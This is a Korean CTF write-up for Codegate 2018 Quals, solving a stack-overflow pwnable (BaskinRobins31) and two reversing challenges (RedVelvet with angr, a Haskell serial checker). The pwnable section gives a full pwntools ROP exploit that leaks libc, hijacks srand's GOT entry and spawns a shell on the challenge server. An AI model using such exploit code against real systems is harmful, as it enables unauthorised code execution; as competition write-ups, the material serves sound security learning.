

Codegate 2018

Quals

Write-up

Junior 8th

sunghun7511@naver.com

SHGroup

1. Pwnable - BaskinRobins31

31게임을 하는데, your_turn 함수에 Stack BOF 취약점이 있다.

```
char s; // [rsp+10h] [rbp-B0h]
size_t n; // [rsp+B0h] [rbp-10h]
int v4; // [rsp+BCh] [rbp-4h]

v4 = 0;
memset(&s, 0, 0x96uLL);
puts("How many numbers do you wan
n = read(0, &s, 0x190uLL);
```

그냥 ROP 하면 된다.

```
from pwn import *

context.arch = "amd64"
# context.log_level = "DEBUG"

e = ELF("./BaskinRobins31")

isRemote = True

if isRemote:
    p = remote("ch41l3ng3s.codegate.kr", 3131)
else:
    p = process("./BaskinRobins31")
    attach(p, "b *0x0000000000400979Wnc")

    raw_input("wait..")

p.recvuntil("### The one that take the last match win ###Wn")

read_got = 0x0
pppr = next(e.search(asm("pop rdi; pop rsi; pop rdx; ret")))
pr = next(e.search(asm("pop rdi; ret")))

payload = ""

payload += "4Wx00" + "A"*0xB6

payload += flat(pppr, 0x0, e.bss(), 0x8, e.plt["read"])
payload += flat(pr, e.got["puts"], e.plt["puts"])
payload += flat(pppr, 0x0, e.got["srand"], 0x8, e.plt["read"])
payload += flat(pr, e.bss(), e.plt["srand"])
```

```

p.sendlineafter("? (1-3)\n", payload)

p.recvuntil("rules...:(\n")

p.send("/bin/sh\n")

recv = p.recv()[:-1]
puts_got = u64(recv + "\n"*(8-len(recv)))
print("[*] puts_got is " + hex(puts_got))

# libc6_2.23-0ubuntu9_amd64
p.send(p64(puts_got - 0x6f690 + 0x45390))

p.interactive()

```

```

shgroup@ubuntu:/mnt/hgfs/Writeup/ctf/codegate/2018-
Prequal/Pwnable/BaskinRobins31$ python solve.py
[*] '/mnt/hgfs/Writeup/ctf/codegate/2018-
Prequal/Pwnable/BaskinRobins31/BaskinRobins31'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x400000)
[+] Opening connection to ch41l3ng3s.codegate.kr on port 3131: Done
[*] puts_got is 0x7f588403a690
[*] Switching to interactive mode
$ ls
BaskinRobins31
flag
$ cat flag
flag{The Korean name of "Puss in boots" is "My mom is an alien"}
$

```

Flag : The Korean name of "Puss in boots" is "My mom is an alien"

2. Reversing - RedVelvet

파일을 실행하면 입력을 받고 끝낸다.

IDA를 사용해서 분석해보면 다음과 같이 func1~func15 를 호출하면서 검사를 한다.

```
int04 v43, // [rsp+180h] [rbp-10h]
int v44; // [rsp+180h] [rbp-10h]
unsigned __int64 v45; // [rsp+188h] [rbp-8h]

v45 = __readfsqword(0x28u);
strcpy(s2, "0a435f46288bb5a764d13fca6c901d3750cee73fd7689ce79ef6dc0ff8f380e5");
v41 = 0LL;
v42 = 0LL;
v43 = 0LL;
v44 = 0;
printf((const char *)&loc_4016CF + 1, argv, envp);
fgets(&s, 27, edata);
func1((unsigned int)s, (unsigned int)v13);
func2((unsigned int)v13, (unsigned int)v14);
func3((unsigned int)v14, (unsigned int)v15);
func4((unsigned int)v15, (unsigned int)v16);
func5((unsigned int)v16, (unsigned int)v17);
func6((unsigned int)v17, (unsigned int)v18, (unsigned int)v19);
func7((unsigned int)v19, (unsigned int)v20, (unsigned int)v21);
func8((unsigned int)v21, (unsigned int)v22, (unsigned int)v23);
func9((unsigned int)v23, (unsigned int)v24, (unsigned int)v25);
v4 = ptrace(0, 0LL, 1LL, 0LL);
if ( v4 == -1 )
{
    v8 = *v5;
    v9 = v3 + v5[111] == 0;
    v5[111] += v3;
    JUMPOUT(!v9, &unk_401746);
    MEMORY[0x6C] &= BYTE1(v4);
    JUMPOUT(*(_QWORD *)"ag : ");
}
func10((unsigned int)v25, (unsigned int)v26, (unsigned int)v27);
func11((unsigned int)v27, (unsigned int)v28, (unsigned int)v29);
func12((unsigned int)v29, (unsigned int)v30, (unsigned int)v31);
func13((unsigned int)v31, (unsigned int)v32, (unsigned int)v33);
func14((unsigned int)v33, (unsigned int)v34, (unsigned int)v35);
func15((unsigned int)v35, (unsigned int)v36, (unsigned int)v37);
SHA256_Init(&v11);
v6 = strlen(&s);
SHA256_Update(&v11, &s, v6);
SHA256_Final(v38, &v11);
for ( i = 0; i <= 31; ++i )
    sprintf(&s1[2 * i], "%02x", (unsigned __int8)v38[i]);
if ( strcmp(s1, s2) )
    exit(1);
printf("flag : {\\" %s \"}\n", &s);
return 0;
```

Angr를 사용했다.

```

from angr import *

p = Project("./RedVelvet", load_options={'auto_load_libs': False})
ex = p.surveyors.Explorer(find=(0x0000000000401546, ), avoid=(0x00000000004007D0,))
ex.run()

print("\n" + ex.found[0].state.posix.dumps(0) + "\n")
print(ex.found[0].state.posix.dumps(0).encode("hex"))

```

돌렸더니 출력이

```

What_You_Wanna_Be?:)_lc_la**\x02\xe\x8a\x8aJ\xe\x8a\x8a\x1a\x1a\x02
\x08\xe*JJ\x8a*\xe\x8a*\x02J\x8a\x0b\x8a*\x08\x00

```

와 같이 나왔다.













입력이 27글자이기 때문에 What_You_Wanna_Be?:)_lc_la (+"\x00") 까지 임을 알 수 있고,

lc를 la로 바꿔주면 플래그가 된다. What_You_Wanna_Be?:)_la_la

Flag : What_You_Wanna_Be?:)_la_la

3. Reversing - easy_serial

파일을 다운받아서 먼저 IDA로 열어보면

	hs_spt_keys	.text
	hs_spt_key_count	.text
	hs_spt_insert	.text
	hs_set_argv	.text
	hs_perform_gc	.text
	hs_main	.text
	hs_lock_stable_tables	.text
	hs_init_with_rtsops	.text
	hs_init_ghc	.text
	hs_init	.text
	hs_iconv_open	.text
	hs_iconv_close	.text

다음과 같이 hs_ 로 시작하는 함수명이 꽤 있는 것을 보고 컴파일된 하스켈 바이너리라는 것을 짐작할 수 있었다.

이를 보고 github 에 가서 하스켈 디컴파일러에 대해 검색해보니 Jonathan S 라는 사람이 올린 hsdecomp 라는 라이브러리가 있었다.

일단 혹시나 하는 마음에 클론을 받아서

```
python ./runner.py ../easy
```

를 해봤지만, 오류가 났다. 메인 함수의 심볼을 찾을 수 없다는 것이다..

이러한 오류 몇 개를 고치고 나니, 일단 하스켈처럼 보이는 소스가 나왔다.

(<https://github.com/sunghun7511/hsdecomp> < 오류를 고친 디컴파일러 / Python 2.7 기반)

```

Main_main_closure->> $fMonadIO
  (putStrLn (unpackCString# "Input Serial Key >>> "))
  (>>= $fMonadIO
    getline
    (\s1dZ_info_arg_0 ->
      >> $fMonadIO
        (putStrLn(++ (unpackCString# "your serial key >>> ") (++ s1b7_info (++ (unpackCString# "_" ) (++ s1b9_info (++ (unpackCString# "_" ) s1bb_info))))))
        (case && (== $fEqInt (ord (!! s1b7_info loc_7172456)) (I# 70)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172472)) (I# 108)) (&& (== $fEqInt (ord (!!
s1b7_info loc_7172488)) (I# 97)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172504)) (I# 103)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172520)) (I# 123)) (&
& (== $fEqInt (ord (!! s1b7_info loc_7172536)) (I# 83)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172552)) (I# 48)) (&& (== $fEqInt (ord (!! s1b7_info
loc_7172568)) (I# 109)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172584)) (I# 101)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172600)) (I# 48)) (&& (==
$fEqInt (ord (!! s1b7_info (I# 10)) (I# 102)) (&& (== $fEqInt (ord (!! s1b7_info (I# 11)) (I# 85)) (== $fEqInt (ord (!! s1b7_info (I# 12)) (I# 53)))))
)))))) of
      <tag 1> -> putStrLn (unpackCString# ":p"),
      c1ni_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case == ($fEq[] $fEqChar) (reverse s1b9_info) (: (C# 103) (: (C# 110) (: (C# 105) (: (C# 107) (:
loc_7168872 (: loc_7168872 (: (C# 76) (: (C# 51) (: (C# 114) (: (C# 52) [])))))) of
      False -> putStrLn (unpackCString# ":p"),
      True -> case && (== $fEqChar (!! s1bb_info loc_7172456) (!! s1b3_info loc_7172456)) (&& (== $fEqChar (!! s1bb_info loc_7172472) (!! s1b4_info
(I# 19))) (&& (== $fEqChar (!! s1bb_info loc_7172488) (!! s1b3_info (I# 19))) (&& (== $fEqChar (!! s1bb_info loc_7172504) (!! s1b4_info
loc_7172568)) (&& (== $fEqChar (!! s1bb_info loc_7172520) (!! s1b2_info loc_7172488)) (&& (== $fEqChar (!! s1bb_info loc_7172536) (!! s1b3_info
(I# 18))) (&& (== $fEqChar (!! s1bb_info loc_7172552) (!! s1b4_info (I# 19))) (&& (== $fEqChar (!! s1bb_info loc_7172568) (!! s1b2_info
loc_7172594)) (&& (== $fEqChar (!! s1bb_info loc_7172584) (!! s1b4_info (I# 17))) (== $fEqChar (!! s1bb_info loc_7172600) (!! s1b4_info (I# 18)))
)))))) of
      <tag 1> -> putStrLn (unpackCString# ":p"),
      c1tb_info_case_tag_DEFAULT_arg_0@_DEFAULT -> putStrLn (unpackCString# "Correct Serial Key! Auth Flag!")
    )
  )
)
s1b4_info=unpackCString# "abcdefghijklmnopqrstuvwxyz"
loc_7172600=I# 9
s1bb_info=!! s1b5_info loc_7172488
loc_7172488=I# 2
s1b5_info=splitOn $fEqChar (unpackCString# "#") s1dZ_info_arg_0
loc_7172584=I# 8
loc_7172504=I# 3
s1b2_info=unpackCString# "1234567890"
loc_7172568=I# 7
loc_7172552=I# 6
s1b3_info=unpackCString# "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
loc_7172536=I# 5
loc_7172520=I# 4
loc_7172472=I# 1
loc_7172456=I# 0
loc_7168872=C# 48
s1b9_info=!! s1b5_info loc_7172472
s1b7_info=!! s1b5_info loc_7172456

```

그러나 이를 알아보기 힘들어서 변수는 replace를 통해 바꾸고, 줄 바꿈을 통해 보기 쉽게 바꿨다.

```

2      (putStrLn (unpackCString# "Input Serial Key >>> "))
3      (>>= $fMonadIO
4      getline
5      (\s1dZ_info_arg_0 ->
6      >> $fMonadIO
7      (putStrLn(++ (unpackCString# "your serial key >>> ") (++ s1b7_info (++ (unpackCString# "_" ) (++ s1b9_info (++ (unpackCString# "_" ) s1bb_info))))))
8
9
10     (case
11     && (== $fEqInt (ord (!! s1b7_info I# 0)) (I# 70))
12     (&& (== $fEqInt (ord (!! s1b7_info I# 1)) (I# 108))
13     (&& (== $fEqInt (ord (!! s1b7_info I# 2)) (I# 97))
14     (&& (== $fEqInt (ord (!! s1b7_info I# 3)) (I# 103))
15     (&& (== $fEqInt (ord (!! s1b7_info I# 4)) (I# 123))
16     (&& (== $fEqInt (ord (!! s1b7_info I# 5)) (I# 83))
17     (&& (== $fEqInt (ord (!! s1b7_info I# 6)) (I# 48))
18     (&& (== $fEqInt (ord (!! s1b7_info I# 7)) (I# 109))
19     (&& (== $fEqInt (ord (!! s1b7_info I# 8)) (I# 101))
20     (&& (== $fEqInt (ord (!! s1b7_info I# 9)) (I# 48))
21     (&& (== $fEqInt (ord (!! s1b7_info (I# 10)) (I# 102))
22     (&& (== $fEqInt (ord (!! s1b7_info (I# 11)) (I# 85))
23     (== $fEqInt (ord (!! s1b7_info (I# 12)) (I# 53))))) of
24
25     <tag 1> -> putStrLn (unpackCString# ":p"),
26     c1ni_info_case_tag_DEFAULT_arg_0@_DEFAULT ->
27     case == ($fEq[] $fEqChar) (reverse s1b9_info)
28     (: (C# 103) (: (C# 110) (: (C# 105) (: (C# 107) (: C# 48 (: C# 48 (: (C# 76) (: (C# 51) (: (C# 114) (: (C# 52) []))))))
29     of False -> putStrLn (unpackCString# ":p"), True -> case
30     && (== $fEqChar (!! s1bb_info I# 0) (!! uppercase_string I# 0))
31     (&& (== $fEqChar (!! s1bb_info I# 1) (!! lowercase_string (I# 19)))
32     (&& (== $fEqChar (!! s1bb_info I# 2) (!! uppercase_string (I# 19)))
33     (&& (== $fEqChar (!! s1bb_info I# 3) (!! lowercase_string I# 7))
34     (&& (== $fEqChar (!! s1bb_info I# 4) (!! number_string I# 2))
35     (&& (== $fEqChar (!! s1bb_info I# 5) (!! uppercase_string (I# 18)))
36     (&& (== $fEqChar (!! s1bb_info I# 6) (!! lowercase_string (I# 19)))
37     (&& (== $fEqChar (!! s1bb_info I# 7) (!! number_string I# 3))
38     (&& (== $fEqChar (!! s1bb_info I# 8) (!! lowercase_string (I# 17)))
39     (== $fEqChar (!! s1bb_info I# 9) (!! lowercase_string (I# 18))))) of
40     <tag 1> -> putStrLn (unpackCString# ":p"),
41     c1tb_info_case_tag_DEFAULT_arg_0@_DEFAULT -> putStrLn (unpackCString# "Correct Serial Key! Auth Flag!")
42     )
43     )
44     lowercase_string=unpackCString# "abcdefghijklmnopqrstuvwxyz"
45     number_string=unpackCString# "1234567890"
46     uppercase_string=unpackCString# "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
47
48     s1b5_info=splitOn $fEqChar (unpackCString# "#") s1dZ_info_arg_0
49     s1bb_info=!! s1b5_info I# 2
50     s1b9_info=!! s1b5_info I# 1
51     s1b7_info=!! s1b5_info I# 0

```

이를 분석해봤더니, Input을 통해 받은 값을 #를 통해 3개 묶임으로 나누고, 각각 확인한다.

1. 첫 번째 값들은 그냥 한 글자씩 비교를 한다.
2. 두 번째 값들은 거꾸로 비교를 한다.
3. 세 번째 값들은 대문자, 소문자, 숫자 배열에서 각각 n번째 값과 비교를 한다.

이를 통해 다음과 같이 역연산 코드를 짜주면 된다.

```
def chrs(cs):
    n = ""
    for c in cs:
        n += chr(c)
    return n

def num(a):
    return (chr(a + ord('1')))

def lo(a):
    return (chr(a + ord('a')))

def up(a):
    return (chr(a + ord('A')))

flag = ""

flag += chrs((70, 108, 97, 103, 123, 83, 48, 109, 101, 48, 102, 85, 53))

flag += "#"

flag += chrs((52, 114, 51, 76, 48, 48, 107, 105, 110, 103))

flag += "#"

flag += up(0) + lo(19) + up(19) + lo(7) + num(2) + up(18) + lo(19) + num(3) + lo(17) + lo(18)

print(flag)₩
```

출력 결과는 다음과 같다.

```
Flag{S0me0fU5#4r3L00king#AtTh3St4rs
```

Flag : S0me0fU5#4r3L00king#AtTh3St4rs